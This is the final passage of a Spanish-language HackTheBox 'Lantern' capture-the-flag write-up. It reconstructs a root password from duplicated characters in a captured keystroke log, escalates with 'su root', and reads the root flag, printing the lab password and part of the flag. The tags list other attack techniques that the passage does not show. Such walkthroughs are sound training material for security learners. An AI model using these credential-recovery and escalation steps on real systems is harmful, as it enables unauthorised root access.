Como vemos que en la última línea en s uuddoo la primera s está bien escrita pero luego se repite un carácter por cada letra, podemos intentar quitar un carácter a partir de la Q en la supuesta contraseña.

Y nos queda lo siguiente: Q3Eddtdw3pMB

Y si intentamos migrar al usuario root

1tomas@lantern:/tmp$ su root
2Password: 
3root@lantern:/tmp# id
4uid=0(root) gid=0(root) groups=0(root)

Podemos leer la flag de root

1root@lantern:~# cat root.txt
2c78762c714ec7d9d...

¡Y ya estaría!

Feliz Hacking! 🚀

#HackTheBox   #Lantern   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #Reverse Shell   #Privilege Escalation   #Path Traversal   #Local File Inclusion   #Server Side Request Forgery   #Discovering Internal Services   #Decompiling .NET   #Information Leakage   #Arbitrary File Upload   #Malicious Blazor Component   #Abusing Procmon